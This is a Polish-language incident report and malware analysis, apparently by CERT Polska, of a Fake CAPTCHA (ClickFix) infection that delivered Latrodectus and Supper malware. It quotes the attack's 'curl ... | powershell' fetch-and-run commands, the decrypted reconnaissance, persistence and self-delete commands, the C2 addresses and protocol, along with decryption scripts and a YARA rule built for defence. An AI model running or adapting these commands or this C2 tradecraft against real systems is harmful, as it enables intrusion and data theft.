Wprowadzenie
Kilka miesięcy temu dowiedzieliśmy się, że jedna z dużych polskich organizacji padła ofiarą ataku malware, a atakujący jest aktywny w jej sieci. Podczas obsługi incydentu wspieraliśmy zarówno organy ścigania, jak i zaatakowaną organizację w dochodzeniu i usuwaniu skutków ataku.
Chociaż nasza analiza opiera się na danych zebranych w konkretnej firmie, kampanie typu Fake CAPTCHA mają charakter masowy i nie są wymierzone w konkretne organizacje. Incydent ten jest naszym zdaniem dobrym przykładem, pozwalającym pokazać pełny łańcuch ataku oraz to, w jaki sposób pojedynczy zainfekowany użytkownik może zagrozić bezpieczeństwu całej firmy. Dołączyliśmy również szczegółową analizę wykorzystanych próbek złośliwego oprogramowania.
Analiza złośliwego oprogramowania
Podczas analizy jednej ze stacji roboczych zidentyfikowaliśmy katalog
%APPDATA%\Intel, który zwrócił naszą uwagę. Znajdowały się w nim następujące pliki:
b7f8750851e70ec755343d322d7d81ea0fc1b12d4a1ab6a60e7c8605df4cd6a5 igfxSDK.exe
af45a728552ccfdcd9435c40ace60a9354d7c1b52abf507a2f1cb371dada4fde version.dll
be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77 wtsapi32.dll
Podczas gdy pliki version.dll i igfxSDK.exe były standardowymi plikami systemu Windows, wtsapi32.dll wydał się nam podejrzany, ponieważ taka sytuacja jest charakterystyczna dla tzw. side-loadingu DLL.
Skan dysku wykrył także dwa dodatkowe podejrzane pliki w katalogu /Users/[username]/AppData/Local/:
2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll
Wektor infekcji
Najpierw spróbowaliśmy ustalić, w jaki sposób złośliwe oprogramowanie trafiło na stację roboczą ofiary. W logach zidentyfikowaliśmy następujące polecenie:
cmd /c curl naintn.com/amazoncdn.com/oeiich37874cj30dkk43885j10vj38h38jd/nrs/opn/ca/ | powershell
Fakt wpisania takiej komendy przez ofiarę wyraźnie wskazywał na atak Fake CAPTCHA (ClickFix). W tym ataku atakujący próbuje nakłonić ofiarę do skopiowania złośliwego fragmentu kodu i jego uruchomienia przy użyciu skrótu Win+R. Obserwujemy rosnącą liczbę ataków przeprowadzanych w ten sposób w Polsce.
Podczas poszukiwań tego adresu URL znaleźliśmy próbkę 6673794376681c48ce4981b42e9293eee010d60ef6b100a3866c0abd571ea648 w serwisie VirusTotal.
Przeszukując logi pod kątem zdarzeń związanych z tym URL, udało nam się zidentyfikować kolejne złośliwe domeny.
Jedna z tych domen była już wcześniej rozpoznana jako domena serwująca Fake CAPTCHA, ponieważ napotkaliśmy ją w przeszłości w innym incydencie. Udało nam się wyciągnąć z niej złośliwy kod:

W kodzie JavaScript osadzonym na tej stronie znaleźliśmy również token Telegrama:
const TELEGRAM_BOT_TOKEN = '7708755483:An7X_G5mbD3YhjDI_Ss';
const TELEGRAM_CHAT_ID = '78510';
Łatwo zauważyć, że ten token nie jest prawidłowym tokenem Telegrama - jest zbyt krótki. W związku z tym kod nie mógł nigdy działać zgodnie z zamierzeniem. Możliwe, że jest to wynik błędu, ale podejrzewamy, że kod został wygenerowany przez LLM i nie został odpowiednio dostosowany.
Natrafiliśmy także na inne, podobne polecenie w logach:
cmd /c curl jzluw.com/cdn-dynmedia-1.microsoft.com/is/n03ufh3k003jdhkg99fhhas/is/content/ | powershell
Szukając podobnych indykatorów odkryliśmy więcej polskich domen zainfekowanych w ten sam sposób. Proaktywne polowanie na zagrożenia tego typu pozwala nam reagować szybciej na ataki.
Oprogramowanie Latrodectus
Po zakończeniu wstępnej analizy przeszliśmy do szczegółowej analizy złośliwego złośliwego oprogramowania, aby poszerzyć naszą wiedzę na temat incydentu i zdobyć dodatkowe wskaźniki IoC. Pierwszą analizowaną próbką była side-loadowana biblioteka DLL:
be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77 wtsapi32.dll
Uruchomiliśmy ją przy pomocy oprogramowania DRAKVUF Sandbox i zaobserwowaliśmy żądania podobne do poniższych:
https://gasrobariokley.com/work/?counter=0&type=1&guid=3B7FFFF7F331576B6FA3479BDF43&os=6&arch=1&username=JohnDoe&group=2201209746&ver=2.3&up=7&direction=gasrobariokley.com
https://fadoklismokley.com/work/?counter=0&type=1&guid=3B7FFFF7F331576B6FA3479BDF43&os=6&arch=1&username=JohnDoe&group=2201209746&ver=2.3&up=7&direction=fadoklismokley.com
Podczas ręcznej analizy ustaliliśmy, że próbka była obfuskowana przy użyciu
nieznanego nam obfuskatora. Ładując tę bibliotekę do debuggera i przechwytując
odpowiednie wywołanie funkcji VirtualProtect, udało nam się uzyskać czysty zrzut pamięci.
Zrzut ten pasował do reguły win_latrodectus_g0 autorstwa Slavo ze SWITCH (udostępnionej na zasadach TLP:GREEN w Malpedii).
Analizując dostępne materiały dotyczące tej rodziny, potwierdziliśmy, że
próbka należy do rodziny złośliwego oprogramowania Latrodectus.
Warto zauważyć, że wersja zaobserwowana w URL żądania to 2.3. Nie udało nam się znaleźć żadnych publicznych
analiz Latrodectus w wersji 2, a tym bardziej konkretnie wersji 2.3. Niemniej jednak istnieje
wiele wysokiej jakości analiz wersji 1, a różnice między wersjami nie są bardzo duże.
Nie jest to jednak najnowsza wersja - znaleźliśmy próbki Latrodectus z wersją co najmniej v2.5.
Jedną z interesujących technik utrudniających analizę dynamiczną i stosowanych przez malware jest to, że program odmawia wykonania kodu w przypadku uruchomienia
za pomocą rundll.exe lub regsrv32.exe. Obecne były również inne typowe
mechanizmy antydebugowe. Największym z wyzwań było odpinanie hooków na funkcje biblioteki NTDLL (NTDLL unhooking), polegające na samodzielnym
odczytaniu pliku ntdll.dll z dysku i ręcznym zaimportowaniu go do procesu, co pozwala na ominięcie typowych mechanizmów
wykrywania stosowanych przez AV i debugery. Obeszliśmy to zabezpieczenie wykonując
kolejny zrzut pamięci po pełnym wypakowaniu kodu malware, a następnie automatyczne odzyskanie importów.
Na koniec, zaimplementowaliśmy skrypt do deszyfrowania stringów:
from malduck import *
key = bytes([0xd6, 0x23, 0xb8, 0xef, 0x62, 0x26, 0xce, 0xc3, 0xe2, 0x4c, 0x55, 0x12, 0x7d, 0xe8, 0x73, 0xe7, 0x83, 0x9c, 0x77, 0x6b, 0xb1, 0xa9, 0x3b, 0x57, 0xb2, 0x5f, 0xdb, 0xea, 0xd, 0xb6, 0x8e, 0xa2, ])
datas = open("encrypted.txt", "r").read().strip().split("\n")
for entry in datas:
addr, encoded_data = entry.split()
chunk = bytes.fromhex(encoded_data)
length, data = u16(chunk[:2]), chunk[2:]
print(addr, aes.ctr.decrypt(key, data[:16], data[16:16+length]).decode().replace("\x00", ""))
Klucz deszyfrujący wyciągnęliśmy ręcznie, natomiast plik encrypted.txt zawierał
zaszyfrowane ciągi znaków z binarki i został wygenerowany przy użyciu następującego skryptu ghidralib:
from ghidralib import *
f = Function("string_decrypt")
for call in f.calls:
try:
e = Emulator()
e.emulate(call.address - 7, [call.address])
key = e["rcx"]
size = read_u16(key)
print(hex(key) + " " + read_bytes(key, size+25).encode("hex"))
except:
pass
Korzystamy tutaj z faktu, że referencje do zaszyfrowanych ciągów znaków znajdują się prawie zawsze
bezpośrednio przed wywołaniem funkcji, dzięki czemu możemy emulować po kilka instrukcji poprzedzających opcode
CALL i odczytać stan rejestru ECX.
Po odfiltrowaniu mniej istotnych wyników uzyskaliśmy następującą listę:
0x18000fd60 runnung
0x180010060 Kallichore
0x180010898 https://gasrobariokley.com/work/
0x1800108d0 https://fadoklismokley.com/work/
0x1800112b8 \update_data.dat
0x180010a10 Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
0x180011168 \Registry\Machine\
0x180010bd0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010340 KK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq
0x1800103a0 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x180010420 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x1800104a0 /c reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid | findstr MachineGuid
0x180010580 C:\Windows\System32\cmd.exe
0x1800105e0 /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\IDConfigDB\Hardware Profiles\0001" /v HwProfileGuid | findstr HwProfileGuid
0x180010710 C:\Windows\System32\cmd.exe
0x180010770 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x180010830 &dpost=
0x180010190 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010220 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x1800100b0 Content-Type: application/x-www-form-urlencoded
0x180010118 POST
0x180010138 GET
0x1800102c0 CLEARURL
0x1800102e0 URLS
0x180010300 COMMAND
0x180010320 ERROR
0x180010000 front
0x180010020 /files/
0x18000fc00 &desklinks=[
0x18000fae8 &proclist=[
0x18000fb28 "pid":
0x18000fb68 "proc":
0x18000fba8 "subproc": [
0x18000fa10 "pid":
0x18000fa50 "proc":
0x18000fa90 "subproc": [
0x18000ffb0 C:\Windows\System32\cmd.exe
0x180010fc0 &mac=
0x180011038 &computername=%s
0x180011060 &domain=%s
0x180010f40 explorer.exe
0x180011320 URLS|%d|%s
0x180010ee0 12345
0x18000f000 /c ipconfig /all
0x18000f070 C:\Windows\System32\cmd.exe
0x18000f038 /c systeminfo
0x18000f0c0 C:\Windows\System32\cmd.exe
0x18000f110 /c nltest /domain_trusts
0x18000f190 C:\Windows\System32\cmd.exe
0x18000f1e0 /c nltest /domain_trusts /all_trusts
0x18000f240 C:\Windows\System32\cmd.exe
0x18000f290 /c net view /all /domain
0x18000f300 C:\Windows\System32\cmd.exe
0x18000f158 /c net view /all
0x18000f350 C:\Windows\System32\cmd.exe
0x18000f3a0 /c net group "Domain Admins" /domain
0x18000f400 C:\Windows\System32\cmd.exe
0x18000f450 /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
0x18000f520 C:\Windows\System32\wbem\wmic.exe
0x18000f580 /c net config workstation
0x18000f5d0 C:\Windows\System32\cmd.exe
0x18000f620 /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
0x18000f780 C:\Windows\System32\cmd.exe
0x18000f7d0 /c whoami /groups
0x18000f810 C:\Windows\System32\cmd.exe
0x18000f2d8 &ipconfig=
0x18000f860 &systeminfo=
0x18000f888 &domain_trusts=
0x18000f8b0 &domain_trusts_all=
0x18000f8e0 &net_view_all_domain=
0x18000f910 &net_view_all=
0x18000f938 &net_group=
0x18000f960 &wmic=
0x18000f980 &net_config_ws=
0x18000f9a8 &net_wmic_av=
0x18000f9d0 &whoami_group=
0x180010e38 Content-Type: application/dns-message
0x180010e78 Content-Type: application/ocsp-request
0x180010eb8 Content-Length: 0
0x180010f20 &stiller=
Wśród odzyskanych łańcuchów znaków na szczególną uwagę zasługują:
Kallichore- nazwa grupyKK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq- klucz szyfrującyCLEARURL,URLS,COMMAND- polecenia C2- wywołania
cmd.exe, które mogą być wykorzystane jako IoC
Ostatnia istotna obserwacja, której dokonaliśmy wspomagając się wpisem na blogu VMRay,
dotyczy faktu, że parametr group w żądaniu HTTP (group=2201209746 w naszym przykładzie) jest hashem FNV-1a
nazwy kampanii. Z samego żądania HTTP można więc odzyskać nazwę kampanii, przeprowadzając brute-force na zawartym w nim haszu.
Oprogramowanie Supper
Przeanalizowaliśmy również dwie dodatkowe podejrzane biblioteki DLL znalezione na maszynie. Pierwszą z nich był plik 245282244.dll:
2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll
Pierwsza próbka była spakowana tym samym packerem co Latrodectus. Wykonaliśmy ręcznie dump pamięci
w momencie pierwszego dostępu typu execute do dynamicznie utworzonej sekcji RWX. Pozwoliło nam to
uzyskać czysty i łatwy w analizie zrzut pamięci.
Druga próbka była spakowana innym, nierozpoznanym typem packera, co utrudniło analizę i nie uzyskaliśmy czystego zrzutu pamięci. W momencie analizy próbka nie była dostępna w serwisie VirusTotal.
Główną funkcją w rozpakowanych bibliotekach DLL jest DllRegisterServer. Hardkodowane adresy IP serwerów to:
85.239.54.130:1080,85.239.54.130:8080- z pierwszej próbki, nieaktywne w czasie naszej analizy162.19.199.110:4043- z pierwszej próbki, aktywny w czasie naszej analizy185.233.166.27:443- z drugiej próbki
Pozwoliło nam to ustalić, że złośliwe oprogramowanie należy do rodziny Supper.
Jako mechanizm persystencji próbka dodawała się jako zaplanowane zadanie (Scheduled Task) w systemie Windows:
schtasks.exe /Create /SC MINUTE /TN GoogleUpdateTask /TR "cmd.exe /C del \"%s\" && schtasks.exe /Delete /TN GoogleUpdateTask /F" /F
Aby w pełni zrozumieć możliwości złośliwego oprogramowania, przeprowadziliśmy analizę jego komunikacji sieciowej. Złośliwe oprogramowanie wysyła do serwera C2 następującą wiadomość:
struct msg {
char[4] const1 = 0x00691155
char[4] srvip; // IP of the target server
char[0x100] computer_name
char[0x100] user_name
char[0x10] domain_name
};
W odpowiedziach otrzymaliśmy wyłącznie komendę 1, podkomendę 0. W tym przypadku złośliwe oprogramowanie wykonuje następujące polecenie shellowe:
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s"
Po dwóch bajtach określających komendę znajduje się reszta payloadu:
struct resp {
uint16_t type1; // Command 1
uint16_t type2; // Command 2
uint32_t length;
uint32_t key;
char data[]; // encrypted
};
Ten nagłówek jest "zaszyfrowany" przy użyciu jednobajtowego klucza XOR o wartości "M", natomiast dane są szyfrowane przy użyciu niestandardowego algorytmu przedstawionego poniżej:
def custom(data, key):
out = []
v2 = key[0]
for v1 in range(len(data)):
v2 = (v1 + v2 * 2) % 256
out.append(key[v1 % 4] ^ data[v1] ^ (v2 % 256))
return bytes(out)
Ponownie jedyną komendą, którą otrzymaliśmy była komenda numer 6.
Polecenie to aktualizuje listę aktywnych serwerów C2. Aktualnie znane serwery C2 są zapisywane
w katalogu %s/orl lub %s/s01bafg (w zależności od próbki). Inne obsługiwane polecenia
to między innymi funkcja serwera proxy SOCKS oraz uruchamiania programów wysłanych z serwera C2.
Znajomość protokołu komunikacji pozwoliła nam zaimplementować skrypt automatycznie pobierający kolejne adresy IP C2 i uzyskać następującą listę adresów IP serwerów C2:
- 162.19.199.110: port 4043
- 146.19.49.130: port 8080
- 185.233.166.27: port 443
- 85.239.54.130: nieaktywny
- 171.130.169.141: nieaktywny
- 130.49.19.146: błędny
- 110.199.19.162: błędny
- 27.166.233.185: błędny
Adresy IP oznaczone jako "błędne" stanowią lustrzane odbicie rzeczywistych adresów IP C2 (na przykład 4.3.2.1 zamiast 1.2.3.4).
Podejrzewamy, że operatorzy nie byli pewni jaka kolejność bajtów jest poprawna i zdecydowali się na wszelki wypadek przesłać obie wersje
(adres IP jest wysyłany przez serwer jako DWORD).
Poniższy skrypt został użyty do deszyfrowania komunikacji C2:
import struct
from malduck import chunks, u32, u16, xor
def custom(data, key):
out = []
v2 = key[0]
for v1 in range(len(data)):
v2 = (v1 + v2 * 2) % 256
out.append(key[v1 % 4] ^ data[v1] ^ (v2 % 2**32))
return bytes(out)
def decrypt(ip, payload):
print("Payload:", payload.hex())
hdr = xor(payload[:12], b"M"*12)
length = u32(hdr[4:8])
key = hdr[8:12]
body = payload[12:12+length]
data = custom(body, key)
ips = []
for c in chunks(data, 4):
ips.append(".".join(str(q) for q in c))
print("Decrypted IPS:", ips)
Poniższa reguła Yara może zostać wykorzystana, aby znaleźć rozpakowane próbki oprogramowania Supper.
rule certpl_supper
{
meta:
description = "Supper malware, often pre-ransomware"
author = "msm"
date = "2025-10-01"
strings:
$a1 = "(%d)\trecv type-%d len %d (0x%x)"
$a2 = "bad socks5 request"
$a3 = "[DEBUG MAIN SOCKS] Starting Init SOCKS"
$magic = {55 11 69 00}
condition:
3 of them
}
Podsumowanie
Chociaż początkowy wektor infekcji jest stosunkowo prosty, ataki typu Fake CAPTCHA stanowią duże ryzyko, dając atakującemu możliwość wykonania dowolnego kodu w kontekście użytkownika.
Mamy nadzieję, że nasz wpis na blogu zwiększy świadomość tego typu zagrożenia i podkreśli znaczenie edukacji pracowników oraz monitorowania nietypowych zdarzeń w firmie.
